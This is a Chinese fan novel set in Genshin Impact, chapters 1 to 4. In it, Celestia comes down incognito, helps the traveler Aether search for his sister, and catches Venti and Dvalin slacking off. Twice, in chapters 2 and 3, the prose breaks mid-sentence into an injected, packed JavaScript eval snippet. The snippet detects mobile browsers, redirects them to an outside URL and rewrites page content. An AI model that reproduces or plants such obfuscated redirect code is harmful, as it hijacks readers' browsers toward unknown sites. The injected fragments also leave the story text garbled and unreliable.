《[原神]在下天理,有何贵干》 1. 第 1 章 简直如坐针毡。 维尔金精神恍惚。尊贵的天理上一次精神遭受如此折磨,还是在魔神战争时他可靠的维系者力排众议,坚持要给七十二魔神都列一个表格,分析谁才是七执政的最优解。 天理整整七宿没合眼。要不是最终维尔金下定决心,誓死保住胜者通吃的规矩,他已经在两千年前过劳死了。 没想到刚醒来,提瓦特大陆又来了一位奇才。 这位让他坐立难安到甚至想直接溜之大吉的罪魁祸首,就是眼前不知道从某个年久失修漏洞进入提瓦特大陆的金毛降临者。 或者按照他自己的介绍,旅行者,空。 见到他第一眼,维尔金就在心底为自己一去不复返倒头就睡天空岛生活默哀一秒。 熟悉提瓦特大陆历史的都知道,此时的天理应该在天空岛沉睡,而不是坐在巴巴托斯的领地,正对着时之岛屿的沙滩,听一个降临者讲述百年前恶贯满盈的天理及其手下维系者拆散兄妹俩这罪大恶极的行径。 但世界总是充满巧合,恰巧从睡梦中惊醒,又经过深思熟路后意识到已经到了可以卸下重担安享晚年的时机,维尔金决定亲自下界,和他精心挑选的七执政交接工作。 没想到对于五百年来不曾下界的天理而言,世界变得实在太快。 空气中乍变的元素微粒浓度对常年宅家的天理来说不仅难以适应。 这还不是最糟。 屋漏偏逢连夜雨,维尔金下界途中又惨遭元素浓度被刺,骤降的空气元素浓度让才睡醒的维尔金摔了个左脚绊右脚,一头扎进海里后,又因为海水中原始胎海微量元素过高晕海,直接人事不省,落魄到被一根鱼竿吊起—— 太丢脸了。 维尔金在心底默默把向维系者求助的选项划掉,更加坚定了退休后直接搬到域外之海的打算。 至于提瓦特大陆上的尘世七执政,一群神没一个靠谱。维尔金从下界起到现在,就差把神之心按碎,还一个回应的都没有。 维尔金面无表情,是时候整顿提瓦特职场了。 尘世七执政才干区区两千年,居然就已经放肆到不接领导的电话,还一点不给一手提拔他们上来的老领导面子,那要是换个天理,以后得在背地里怎么蛐蛐他? 好不容易熬到退休,居然又出这么大纰漏,维尔金两眼一黑,甚至有点想回天空岛继续睡觉。 一直在单方面倾诉得已经口干舌燥的空也敏锐发现了钓上来的大型人类心不在焉,关切询问: “你在听吗?” “……也就是说,天理维系者的神明带走了你的妹妹?” 和看上去在走神不一样,作为兄妹别离加异世寻妹故事的疑似幕后大反派,维尔金听得异常认真,并试图找出拦住空荧兄妹俩的神祗并非维系者的蛛丝马迹,洗白自己忠诚的维系者。 可惜事与愿违。 不仅没有找到盲点洗脱嫌疑,维系者嫌疑甚至更大了。 空有些泄气。和妹妹分离后,为了找到些许有价值的线索,他已经无数次同陌生人掀开自己的伤疤,与其说是一次次希望落空后的烦闷,倒不如说他现在整个人充满迷茫。 失去力量、失去血亲,每当他阻拦他们兄妹离开、进而导致他们分离至今的此世神明,空的心脏都不自觉揪紧。 晴朗的阳光不加遮挡地投射在空荡的沙滩,直到空落下最后一笔,松开手后不自觉看着自己空荡荡的手掌心,继续念叨着挥之不去的阴影。 “我永远都不会忘记那一天,在我们即将离开提瓦特时,自称天理的维系者的白发金眸神明拦住了我们的去路,带走了我的妹妹,还将我封印至今……直到几个月前,封印松动后我才醒来,但也失去了全部力量。” 空的声音越来越轻,最后化作一声长长的叹息,消弭在空气。 白发金眸,铁面无私,在五百年前镇守在提瓦特的世界边缘。 种种迹象表明,拦截空荧兄妹的神明的确就是自家那位刚正不阿的维系者。 维系者的个性没人比作为顶头上司的天理更加清楚。空荧兄妹就算只是路过天空岛,但作为黑名单上的降临者,维尔金能想象得到维系者下手会有多狠。 不过眼下空还好好活着。 至于被抓走的荧,最坏的猜想就是被维系者直接扔到域外之海。 这也是维尔金最觉得匪夷所思的地方,维系者完全没有必要大费周章地将两个降临者隔绝开来,降临者本就不属于提瓦特,扔到世界之外才是最正确的选择。 放空一马显然不太符合维系者的个性。 而且经过维尔金多日的试探,他能看出眼前的旅行者确实对提瓦特大陆一无所知,按理说也不至于触碰到什么禁忌,最多就是倒霉点,撞上了什么不该知道的事情。 作为天理,维尔金百分比相信自己的得力下属,再者其实某种程度上来说,空也算平安无事,于是维尔金试探性问道: “据我所知,天理的维系者高居天空岛之上,多年来代行天理职责,绝无为一己之私擅自出手的前科……” “所以有没有一种可能,正是因为你们离开之前所做的某种行为,使得维系者将你们误判为入侵者呢、进而发动袭击呢?” 维尔金说话相当委婉。 空短暂迟疑一会,一时间也不知如何回答。 直到现在,他仍对这片名为提瓦特的大陆感到陌生和不真切。 脑子里从来到这个世界再到想要匆匆离去,记忆像是被切割成无数碎片,明明只隔几个呼吸,但除了与维系者的最后一战,其余所有关于提瓦特的记忆都是模糊混沌的。 按照维尔金的角度去分析,空才惊讶的发现,原先那些被有意无意忽略过去的记忆,此时充满了端倪。 “从战斗开始到结束的时间太过短促,而我的记忆显示我们没在这里停留超过一天……不对……” 空猛然抬起头,抓住了记忆的关键: “是时间!” 时间的长度有问题! 他们旅行经过了无数世界,足迹遍布所过的每一个星球,虽然停留时间长短不一,但除非是即将要毁灭的死界,他们都会停留数月到数年、甚至上百年不等。 所以,他的记忆真的有问题。 那荧催促自己离开,是否也是从中发现了什么。 空抬头,天空晴朗得有些不真实,有一团厚实的云簇始终环绕在高空。云层遮掩之下,隐隐约约能看见一座孤岛悬浮在天空。 据维尔金说,那是无数战败魔神的折戟之地。 空知道,那也是他们兄妹离别之地。 “无论如何,我都一定要找到妹妹,然后带她离开这个世界。” 维尔金捡起空扔掉的树枝,在沙滩上写写画画: “天理降临于提瓦特大陆的最后一次记载就是在五百年前的坎瑞亚战争,天理以及维系者降临到那片无神的领地,随后在战争结束后便陷入沉睡。作为侍奉天理的信徒,维系者绝对不可能违逆天理将他带回天空岛,并离开地上的命令……所以我有个大胆的猜想。” “怎么说?” 空托着下巴,对于天理及其扈从的联系,他不会比眼前的本地人更加了解。 维尔金顿了顿,表情难得严肃: “你们在提瓦特停留的时间,远比所感知到的要长。” 空点点头,记忆模糊得实在过于巧了。若不是他们兄妹已经旅行过多个世界,形成了一些习惯,恐怕再过百年,自己也不会觉得不对劲。 维尔金已经了然。 意识混沌、对明显应该记忆深刻的世间印象模糊,对自己做了什么也一无所知。 这种与其说是疾病,倒不如说是诅咒的症状,维尔金再也熟悉不过。 磨损,天理加诸于万物的规则。 “如果能确认是这种症状的话,就好办了。这就是磨损,提瓦特加诸于长生种身上最关键的枷锁。” 维尔金神情复杂。 磨损是提瓦特的法则,在天理对大陆的圣灵定下规则秩序以制约时,又披上了天理所定规则的外衣。 无论如何包装,也不会改变其针对提瓦特长生种的本质。 “磨损是种 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维尔金则想的更多,在空的描述中,名为荧之少女的动作充满跳跃性,极有可能发现了某些问题,才急着把哥哥带走。但又因为停留在提瓦特时间过长,从而招致天理维系者的目光。 陈年旧事,具体情况恐怕只有荧和维系者才知道当时的情况。但这两位一个下落不明,另一个不眠不休镇守天空岛边缘,找到他们,单靠空自己的力量,无异于痴人说梦。 空以一个极为刁钻的角度找到了解决问题的关键人物: “我必须去找天理——作为七神的统帅,他一定知道我的妹妹在哪!” 不,天理甚至今天才知道五百年前又发生了这么一桩大事。 维尔金眼神飘忽不定,好看的金眸此刻看起来鬼鬼祟祟,显得心虚。 “呃……理论上是,但天理沉睡多年,提瓦特大陆诸事皆有尘世七执政代为执政,天空岛又有维系者镇守,与其指望天理全知全能,我建议找七执政和维系者问清楚情况。尘世七执政在地上都有各自的领土,找他们也不是难事。” 正好离职报告需要论述地上七国的状况,还能顺便统计一下神之心损坏情况。 想到这里维尔金顿了顿,又提及一种极其罕见、却也不无可能的猜想: “提瓦特从来不缺伪神和冒名顶替的虚假神明,坎瑞亚战争对地下天上的影响至今也未曾消失,难保会有域外神明或是觊觎七执政之位的魔神在其中浑水摸鱼,甚至波及到你们。” 空今天已经不知道叹了多少口气,作为旅行者而非提瓦特的原住民,掺和本地人的战争简直就是无妄之灾。不过好在,事情终于有了解决方向。 坎瑞亚战争至今也有五百年,提瓦特大陆又存在着简直就是长生种克星的“磨损”,指望普通长生种并不靠谱,倒不如维尔金建议,找七神一个一个问清楚来得更简单些。 明确目标后,空的心情轻松了不少,面对自己费尽力气才钓上来的大家伙的真实身份,有些好奇问:“你对神明和天空岛这么了解,也是跟他们结过仇吗?” 维尔金模糊了说辞:“……到也不是,你可以理解我为那种没什么实权、挂了一堆虚职、很能活但是没有什么用的平平无奇长生种就好。” 空表示理解,无论在哪个世界,非人类的规模总是格外渺小,出门在外隐藏身份也是家常便饭。在人类占主导部分的世界,非人类的长生种甚至不得不每隔十几二十年就迁居他乡已避免被人类发现。 空甚至不自觉生起怜悯,毕竟长生种能混到像维尔金一样,没饭吃、没钱花、交通全靠海里漂这样的地步,也很不容易。 被旅行者当傻子怜爱的维尔金此时对自己逐渐形成的奇怪人设一无所知。 长生种能完美解释他那令人抱歉的自理能力和对神明显得了解过头的地步,只要不是当面碰上熟人,他有自信藏好身份。 难得瞒住所有人下界,他必不可能给自己添麻烦,正好处理完空荧兄妹的问题后借坡下驴,直接退休。 这多是一件美事啊! 2. 第 2 章 不是维尔金自夸,这年头临近退休,还亲力亲为给下属收拾烂摊子的好领导提着灯笼都难找。有这样尽职尽责的天理在,维系者和七执政真是有福了。 负责任的好天理当然值得更多宝贵摸鱼时间。 维尔金难得轻松、毫无紧迫感地漫步在地上的世界,心情大好。 没有天灾人祸,没有末日审判,没有纷飞的战火和无尽的哀嚎,不需要急切地奔赴永无止境的战场,也不会人催促祂下达足以影响世界走向的旨意。整个世界无比的安静,唯有森林的微风带来雨后天晴的青草香气和略带悠闲的漫步。 名为维尔金的域外者所梦寐以求的生活,是天理永远无法企及的梦幻泡影。 而巴巴托斯治下的蒙德,比维尔金古早记忆里更加美丽,风不再夹杂寒雪和冰渣,微风吹在柔软的草地,露出躺在地上的日落果。随着长生种和幻想种的沉匿,如今的蒙德已经成为更加适宜柔软的人类生存的乐土。 维尔金十分满意,巴巴托斯为他完美的退休述职报告来了一个开门红。 “蒙德的意义不同于其他六国,这是连接天空岛的重要节点。风带来供以人类繁衍生息的种子,永恒的时间足矣吹平短生种的伤痕,再让新的世代生根发芽,哪怕你们兄妹跟天理的维系者有过冲突,我相信以自由和随心所欲闻名地上的巴巴托斯也不会拒绝你的共鸣。” 不远处的星落湖坐落着巴巴托斯的七天神像,维尔金先是拐弯抹角吹捧了一番靠谱的巴巴托斯,后不忘充分履行自己的向导职责。 “从这里一直往西北走,就是由供奉巴巴托斯的人类建造而成的蒙德城。巴巴托斯虽然自魔神战争结束后便不再直接插手蒙德的管理,但其手下的四风守护一直以来都践行保卫蒙德的使命,如无意外,他们的后人应当也会忠诚执行风神的命令,世代守护蒙德城。” 两千年前发生的魔神战争对维尔金而言如在昨日,他对这些历史如数家珍:“北风狼王、南风狮牙、西风之鹰,以及东风之龙。其中南风狮牙和西风之鹰起初都由人类担任,北风狼王巅峰实力和巴巴托斯不相上下,至于东风之龙……那孩子被巴巴托斯的琴声吸引。龙这种生物,从来都是随心所欲,任性而为,性格跟巴巴托斯想来应该也特别合得来。” 咆哮西风中的一缕微风化形而成的精灵,又因为友人的死而放弃统御蒙德,将权力让渡给人的魔神巴巴托斯,不会拒绝域外之人的共鸣请求。 “充满自由与包容的城邦……”空喃喃,将右手轻轻覆盖在神圣的七天神像,满怀期待,“希望这位自由的神明能够允许我进入他的国度,告诉我妹妹的下落。” 话音落下,平静的七天神像陡然发出青色的光芒。 一瞬间,磅礴的风元素自神像四周迸发而出,空也第一次感受到独属于这个世界的奇特力量。 “这就是提瓦特大陆风元素的力量。” 空紧握的手心陡然张开,小小的青绿色气旋从掌心生出,摇摇摆摆又脆弱无比,却是他已经得到这个世界的神祗认可的证明。 “看来巴巴托斯的脾气不错。”空不由得感慨,在见识过维系者那样一言不合上来先干一仗的神明后,巴巴托斯的出现简直就是福音。 维尔金默默将手掌轻轻覆在洁白石像的表面,和空一接触七天神像就发光的景象不同,接触到维尔金的刹那,七天神像周围连萤火般的青色光芒也骤然黯淡,像是灵性蒙尘又失去神迹。 这些能和元素力量产生共鸣的神像实际上是尘世七执政连接天空岛的媒介,可以反映出七神的实际状态,一旦出现神明殒落的情况能够第一时间反馈给天空岛。 但……巴巴托斯的神像……为何感觉,已经出现了些许磨损? 这不合常理。 尘世七执政被豁免了来自天理的磨损。 维尔金张开手心,自己现在距离巴巴托斯的七天神像如此之近,为何他还没有任何察觉,甚至连探查的风声都没有感知到。 “维尔金?” 空疑惑地看着一言不发停留在神像底下的维尔金。 “抱歉,走神了。” 空摇摇头,并不介意,只当维尔金陷入回忆。 从不回头、目光永远紧紧盯着下一个目的地的旅行者,能够理解独属于长生种时过境迁、沧海桑田后的迷茫。 互相依靠的血亲模糊了旅途路上达成的羁绊,这是他第一次同一个完全陌生的人一起踏上旅途。 他并不反感。 维尔金抬头望向巴巴托斯身着神袍的七天神像,半是掩饰方才的异样,半怀念着比魔神战争更早的蛮荒。 在名为维尔金的域外者成为天理之前,元素精灵,才是天生地养的宠儿。生而为原始的精灵,却能够克服自己的本性,从弱小的人类身上学到了情感、友谊、羁绊,平等自由地对待每一个人,将蒙德变为净土,巴巴托斯付出的只比他们见到的更多。 “接下来,我们先去蒙德城,人类虽然不善记忆,却极其擅长保存物件,作为供奉自己国家神明的教会中心,一定藏有能够联系上巴巴托斯的信物。” 就像神之心,既是尘世七执政的象征,但一般更多用作联系的信物。 “提瓦特大陆的神明,都有自己的教派吗?”空有些好奇,“像巴巴托斯这样,在提瓦特大陆当执政官的还有七位,那岂不是每个国家都有自己的教派和教义?” “不。” 维尔金顿了顿,神情复杂: “唯独信仰,不可杂糅于战争。对大部分国家而言,神明是执政官,而非不可捉摸的传说,就像统治者——” 人类会为信念奔赴毫无意义的战场,却无法背弃自己的本能为统治者的权力而战。 这是天理当年最为阴险的设计,是继将七十二魔神通通拉下水后,最完美的阳谋。 给魔神予以羁绊,将他们神性的一面用世俗掩盖,再烙印名为“爱”的人性枷锁。 “真是巧妙的设计,用世俗的政权瓦解短生种对长生种不切实际的幻想,第一个想到这个办法的人真是个天才。” 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723008|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去过不少地方,但像提瓦特这样长生种作为统治者居然没跟短生种闹到互相种族灭绝对方的可不少见。 “这么想来,蒙德城说不定会有不少长生种!” 在想象中,巴巴托斯治下的蒙德城应当是一座人与非人类和谐共处的城邦——如果能趁此机会够找到五百年前坎瑞亚战争的亲临者,就算没能找到风神巴巴托斯,说不定也会有妹妹的消息! 维尔金的否认打破了他美好的幻想,他委婉而不失礼貌地解释: “……不管是哪种世界,只要神代走向衰竭,长生种隐入历史、短生种走上舞台中央都是注定的。” 魔神战争的结束意味着不再会有超越尘世七执政级别的长生种诞生。 坎瑞亚战争的结束意味着随着神明的陨落,新生的神明注定要弱于上一位。 提瓦特为兢兢业业的尘世七执政留下了一线生机,但也仅限于此。留给长生种的活路只有三条。 沉睡,域外之海,以及天空岛。 在提瓦特大陆,哪怕是天理也会感到诸多不适,这片大陆已不再是非人物种的乐园,或许像魔神战争最终成为遥不可及的传说,等到所有尚有余力的长生种统统陷入安眠,乃至元素力和神之眼都不复存在的那一天,天理、魔神、深渊…… 一切都会画上句号。 维尔金发自内心的期待这一天的降临。 无言的寂静短暂弥漫开来,只是继续朝向他们的目的地前进。 “空气中飘散着腥苦气,森林深处有深渊腐败肮脏的味道……” 维尔金睁开眼,顷刻之间已经锁定了味道的来源。 森林的尽头,混杂着纯净的风元素和污秽的深渊腐血,极其不美妙的记忆涌上维尔金心头。 “深渊的气息,”维尔金迟疑片刻,“不应该……” “深渊……?”空艰难地从维尔金之前的科普中扒拉出关键词,又被这个全新的名词吸引了注意,“这又是什么?” “还记得坎瑞亚战争么。” 维尔金步伐加快,紧蹙着眉头,提及深渊,像是想到了什么不得了的脏东西。 “深渊,就是引发那场人与人、人与魔神罪孽深重的战争的根源。” 无需多言,空的神情也严肃起来。 维尔金没有说的是,蒙德作为天空岛的最前线,一旦出现深渊的污秽,只会意味着深渊的污物六国已然饱受深渊罪孽肆虐的痛苦。 如果深渊已经趁他沉睡逼近至此,那提瓦特如今的状况比五百年前的坎瑞亚糟糕多了。 森林不大,尤其是对于能运用风元素自如的二人而言,这点距离不过咫尺之间。 廖无人烟的林中幽道,绿色的吟游诗人穿着一身巴洛克风格的服饰,披着绿色的斗篷,帽檐别着一朵塞西莉亚花。 小小的诗人张开双手,在他的正上方,蓝青交错如蛇一般的有翼龙张大者覆满羽鳞的翅膀,维尔金察觉到的那一丝微弱的腥臭味,正是来源于这美丽龙类的后颈。 “这是……龙?” 3. 第 3 章 龙,强大、美丽的代名词。 虽然和空在过往世界见过的龙在形态上略有差别,但这可是亲近人类的龙!而在蒙德城外居然如此容易见到! “不愧是自由的城邦。” 空发自内心赞美蒙德这个能随便见到龙的国度。 “已经自由到连龙类都是随处可见的程度……真好。” 维尔金扶额,巴巴托斯在搞些什么。 蒙德和风神的风评正齐齐往一个奇怪方向狂奔一发而不可收拾。 不远处的温迪抖了一抖,张开的怀抱突然变得有些僵硬。 莫名有种被野兽从背后盯上的错觉。 “巴巴托斯,刻意来找我,却又自顾自走神发呆。你到底想干什么?” 纤细的龙类昂起头颅,嗤笑心不在焉的神明,缓慢扇动着三对被羽甲覆盖着看似柔软实则坚不可摧的翅膀。 “特瓦林,回到我身边来吧,深渊教团在骗你。” 回过神的温迪无暇顾及刚刚的异样,张开怀抱,向神经紧绷的眷属展示自己的无害,“你看,我身上没有任何武器,不会伤害你的。” 名为特瓦林的巨龙收敛羽翼,死死盯着眼前毫不设防的风神。 虽然打扮成普通吟游诗人模样,当巴巴托斯的声音顺着风飘到维尔金耳边时,他还是一眼认出来那就是巴巴托斯。 不过身边这条散发着污秽气息的巨龙……东风之龙特瓦林怎么又跟深渊扯上了关系,还有深渊教团,不入流的家伙居然又卷土重来了? 维尔金神色晦暗不明,他可以容许巴巴托斯在规则范围内玩一些爱宠不回家的小游戏,但一旦涉及到深渊。 那可是原则性问题。 维尔金双眸微眯,时空扭曲凝成的利刃直直指向巨龙的脊背,在接触到深渊污血的瞬间爆炸,毫不留情地切除掉污染巨龙的病灶。 深渊的种子会拼命汲取一切血肉,然后成为蔓延的瘟疫。 特瓦林又不是他的龙,维尔金没那么心善。 “——巴巴托斯!” “谁在那里!” 受伤的特瓦林怒吼暴起,妄图腾空离开,却惊恐地发觉,空气中充盈的风元素不再受它调动。它愤怒地瞪向温迪,却发觉后者同样神色凝重。 敢在巴巴托斯眼皮子底下动手对特瓦林动手的人—— “是我。” 金色的竖瞳,铂金色的长发,提瓦特大陆的元素力任他驱使,凡是地上的生灵皆受他管辖。 永远高高在上,永远冷漠,对非人族类遭受的磨损漠视,却又独独眷顾人类。 “五百年不见,神之心又始终联系不上——” 温迪,不。 那是连巴巴托斯也不敢触怒的天空岛之主。 名为天理的最高统治者微微张口,名为质问、实为威胁的话语如擂鼓敲在强壮的心脏上。 “眷属打算向深渊效忠却不施以惩戒,连我沉睡前千叮咛万嘱咐的话都不记得……” “还是说,你也有异心?” “嗯?” 恐惧让特瓦林从深渊的呓语和污染中清明,被剜去的如龙角一般的污血块跌落在它和温迪的中间,散发着红紫交错的危险光芒。 巨龙用翅膀半笼罩着自己的神明,涔涔的黑血顺着蓝白青相交的纹路滴落在丰茂的草地,就像接触到柴火,陡然吸干水分,成为了无生机的灰烬。 维尔金看着那团凝结污染和怨恨的力量,眉头紧蹙。 深渊的污染具有传染性,巴巴托斯没有迟疑,风旋无中生有,吞没了引发一切的罪恶源头,但为时已晚。 特瓦林终于意识到,巴巴托斯正因为自己才会被天理诘难。 “尊敬的——” “我没有问你话,东风之龙。” 维尔金打断,静待风神的回答。 温迪拦下还想继续辩解的眷属,略微欠身,行一个标准礼,极为冷静地咏叹着迎接的敬辞。 “巴巴托斯向您致意,还请宽恕我的懈怠,不知您大驾光临,有失远迎。” “我想这并不是我提问的重点——” 维尔金语调拉长,眼神凌厉,毫无先前的好脾气模样,甚至让空觉得陌生。 “与深渊同流,知情不报。” “与天空岛失联,延误时机。” “巴巴托斯,你的神之心呢?” 呼吸都停止了片刻。 温迪放下心来。 只是神之心的事都好说,天理一向采取放养政策,只要不闹出大麻烦,祂向来睁一只眼闭一只眼。 问题是特瓦林被深渊污染,还恰好被撞见……这才是问题所在。 神之心是一个象征意义大于实际作用的挂件。 至少对于温迪而言,除了刚上任七执政图个新鲜,唯一一次神之心发挥作用,也就坎瑞亚战争那次天理为了凑齐他们用到过。 而且也不会有人觉得,已经陷入沉睡五百年的顶头上司会突然诈尸,莫名其妙空降到自己面前,质问你为什么没有时时刻刻保持联络的。 深渊勾结这么一顶大帽子,别说特瓦林,就算把尘世七执政捆在一起都接不下来,硬接天理寒天之钉可不是在说笑。 至于生出异心…… 说真的天理要是想直接手动换个乖巧一点的七执政,怎么也轮不到他。 前有芙卡洛斯当着天理面把纯水精灵硬塞进人类珠玉在前,后有至冬女皇这位就差掀桌子的大动作,他一个无辜的吟游诗人,只是因为对特瓦林身上沾染的深渊污秽温柔了些就被抓成典型—— 也太不公平了! 甚至明明在大家都不把神之心当回事的情况下,只有倒霉的他当场被抓。 吟游诗人的眼睛失去光泽。 此时,摆在神名为巴巴托斯,但一直以温迪之名行走世间的不靠谱风神面前有两条路。 要么当一只安静的风精灵,看看脸接寒天之钉后精灵还有没有投胎转世的机会;要么拉其他同事一起下水。 温迪眨了眨水灵灵的大眼睛,保住了自己最后的良心。 “那个……如果我说这是第一次忘记带神之心……” 温迪说话声越来越低,到最后甚至所有人都要屏息凝神才听得清。 “你会信吗?” 场面凝固了一瞬。 哪怕是作为纯路人的空也对如此大胆的敷衍投向了敬佩的目光。 ——这真的不是在维尔金的神经上蹦迪吗? 好在羞耻心是人类的特产,某位风神显然模仿人类的功夫并不到家。 眼见维尔金不是真的生气,温迪眨了眨眼,欸嘿一笑试图蒙混过关: “如您所见,事情就是这样,急着出门找特瓦林,结果一下子忘记要随时带着神之心这茬了。” 莫名背锅的特瓦林呆滞住,一时间甚至连翅膀都忘了扇。 “——巴巴托斯!” “明明是你从来不看神之心消息!” “求你了特瓦林,至少不要在这种关键时刻拆穿我。” “……够了,抛开这个先不谈。” 维尔金一手按着太阳穴。 不像是跟深渊同流合污,倒像是倒霉神明的倒霉眷属染上深渊后产生心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723009|144901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理疾病,跟巴巴托斯闹矛盾,好在没闹出什么大乱子。 “深渊污秽以后要及时处理,吃些皮肉之苦总比最后沦落到连自我都失去的地步。” 维尔金淡淡警告,算是就此揭过。 “下不为例。” “那个……我冒昧问一句。” 空默默举手,这才让一直处在高度紧张状态的一龙一人想起这里还有一个生面孔。 生面孔露出求知欲满满的金色大眼睛,真诚发问:“什么是神之心?” “……这个问题着实比较难回答。” 温迪瞄了眼想刀人的顶头上司,反正第一句话对方就已经暴露了彼此的身份,多说点也应该没有关系吧…… 维尔金:“是一种珍贵但没用的道具。” “原来如此。”空了然地点点头。 要不是打不过,温迪真的很想把天理狠狠揍上一顿—— 天理他自己都知道神之心这东西纯纯挂件! 维尔金这边也自有一套逻辑。 神之心没用不等于能不随身携带。 万一哪天他要死了,七执政一个也摇不上来,提瓦特可就完了。 空不自觉地身边这位先前还抱有一定滤镜、现在看上去就是个普通吟游诗人的风神巴巴托斯心生怜悯。 “明明是出外勤却被巡察抓到没带工牌……巴巴托斯大人真是辛苦了!” “你也觉得明明上司在睡觉,但是非得让底下所有人保持24小时联络是一件很过分的事情吧!” 为什么温迪的眼眶里满含热泪,因为终于有个好心人为他们全体七执政发声! 特瓦林:…… 巴巴托斯,天理可还没走。 巨龙安静地收起翅膀,决定不管自家神明死活。 天理总不至于在自己朋友身边对巴巴托斯痛下杀手。 没错——天理的朋友,这就是特瓦林对空的印象。 “那是当然!”空双手叉腰,瞬间倒戈到几分钟前还素未谋面过的吟游诗人战线,发出独属于打工人的呐喊: “这简直就是剥削!” “知音啊!” 一降临者一魔神抱作一团。 已经被迫修炼出察言观色技能点的特瓦林十分心累。 它死死掰扯住恨不得当然认亲的巴巴托斯,小小的脑袋飞速运转,从事不关己到开始考虑如何保住巴巴托斯这个不干正事家伙的小命只经过短短几分钟。 好在维尔金的心胸比特瓦林想象的还要开阔。 天理对七执政交朋友并无意见。 至于空—— 他现在看向维尔金的目光充满热忱,满怀期待。 有这么一个靠谱伙伴,一定能很快找到妹妹的。 对自己形象在空心中,已经从蹭吃蹭喝的家伙晋升成为找到妹妹法宝的维尔金,依旧对此一无所知。 维尔金默默叹了口气。 反正祂都要退休了,本来还想在新交的朋友面前藏一下身份……算了,以后的事以后再说,至少不需要费脑子编故事了。 温迪眼睛一亮,热情握住眼前这位刚刚就自己于水火之中的好心人。 “这位远道而来的朋友,在提瓦特还请不要用巴巴托斯称呼,叫我温迪就好,这是我的好伙伴特瓦林。还不知道你的尊姓大名,我感觉咱们一定会很合得来!” “我叫空,目前打算去提瓦特各国找到七神、想办法找到我妹妹的下落。” 还没到蒙德就遇上风神,空不忘自己的目的: “请问,您有见过和我长得特别像的、名为荧少女吗?” 4. 第 4 章 温迪遗憾抱歉。 空连连摆手,他对此心里早已有准备,提瓦特七神对此事一无所知并不能算个坏消息,至少为他提供了另一种猜测。 荧,极有可能还被困在天空岛上、甚至这几百年来一直惨遭天理的维系者折磨。 “谢谢你,温迪。” 空鞠躬道谢,在决定寻找尘世七执政的当天就遇到巴巴托斯,他已经足够幸运。 “如果见到我的妹妹,请一定要告诉她,哥哥一直在找她。” 他们是彼此唯一的血亲,纵使天涯海角,也一定要找到彼此。 空坚信,他们必将重逢。 处理好域外之人,还有个名为天理的大麻烦。 温迪:“接下来你们打算如何,继续去蒙德城,还是直接去其他国家?” 不管是蒙德城的吟游诗人,还是作为风神巴巴托斯,无论那种身份,温迪都不是很想邀请空身边的这位瘟神,进入到自己的领地。 突发奇想降世又不好好隐藏身份的大人物可是烫手的山芋。 “先去一趟蒙德城,我还有一些事情要处理。” 维尔金思索片刻,最终还是决定先去一趟蒙德完成那见鬼的退休述职报告。 临走前,全提瓦特最棒的领导当然有必要亲自指导下属工作,加之见过特瓦林脖颈上那沾满浓烈深渊气息的污血后,他已经下定决心,必须要整顿一番提瓦特目前看似平静无波、实则暗流涌动的格局。 五百年的时间对于天理只是眼睛一闭一睁,但于人类而言,足够他们忘却深渊的可怖,以及当年皈依深渊的下场。 以及他至今无法理解,为何总有人认为他沉睡过去,就会对提瓦特大陆一无所知。 他发怒,是因为想让别人知道这是禁忌。 他降下神罚,是因为想要时人以此为戒,切莫忘却世间的底线。 他对魔女不触及底线的小打小闹视而不见,也只是因为这些小势力已不复当年,就算能举起反抗的大旗又如何? 大部分长生种都知进退、懂底线。 少数者的反叛不过是蚍蜉撼树。 维系者也一直在监视地上,只是大多时候维尔金会示意她睁只眼,闭只眼。 堵不如疏,与其命令禁止到最后还得他亲自一个一个打地鼠,倒不如放任他们处在自己眼皮子底下,这片离他沉睡之地最近的地方,一旦有任何风吹草动,他也能及时处理。 但对温迪而言,事情就不那么美妙了,毕竟不会有人喜欢上司有事没事下来视察工作。 “说起来,如果是维尔金想找七神的话,完全是分分钟搞定的事情吧。” 空没好气的秋后算账,几个月来又是给维尔金当厨子做饭又是讲故事的,没想到关键一环竟然就在自己身边。 “为什么明明认识尘世七执政还要费劲去蒙德城里的教会去找联络办法啊,而且维尔金看上去好像地位还比巴巴托斯看高一些?” 尘世七执政已经是空所能了解到明面上的最高统治者,能够凌驾于尘世七执政、让传说中的风神巴巴托斯都对他恭敬有加的更高一层,空只能想到天理。 一想到凶神恶煞见面就动手的维系者,空就瞬间否定了自己的想法。 “是的,我就负责管七执政和深渊。” 维尔金非常大方点头,并为自己之前知情不报做出了非常合理的解释。 “而且不是我不想联系巴巴托斯,就是因为他没带神之心,我们才只能去教会想办法。不过也好,这不正好抓住某人摸鱼的现行。” 很少有神明会像巴巴托斯一样没事干闲逛,又倒霉到被天理当场逮住,维尔金难得刻薄一回: “我沉睡五百年还能记得怎么联系上他们,已经非常不容易了。” 睡觉时间远长于实际工作时间的天理大人,已经在短短的几个月内完成蜕变。 说起来也多亏空坚持不多分配给吃白食家伙一条烤鱼的正义理念,高居于天空岛、睥睨众生的天理大人的自理能力被迫得到极大提升。 同样得到大加强的还有维尔金的危机意识和责任心。 几个月来艰难的提瓦特生活,终于让多年来一直过着有事打仗没事睡觉无比惬意生活的天理大人意识到,麾下强劲的七执政团队暗藏瓦解危机。 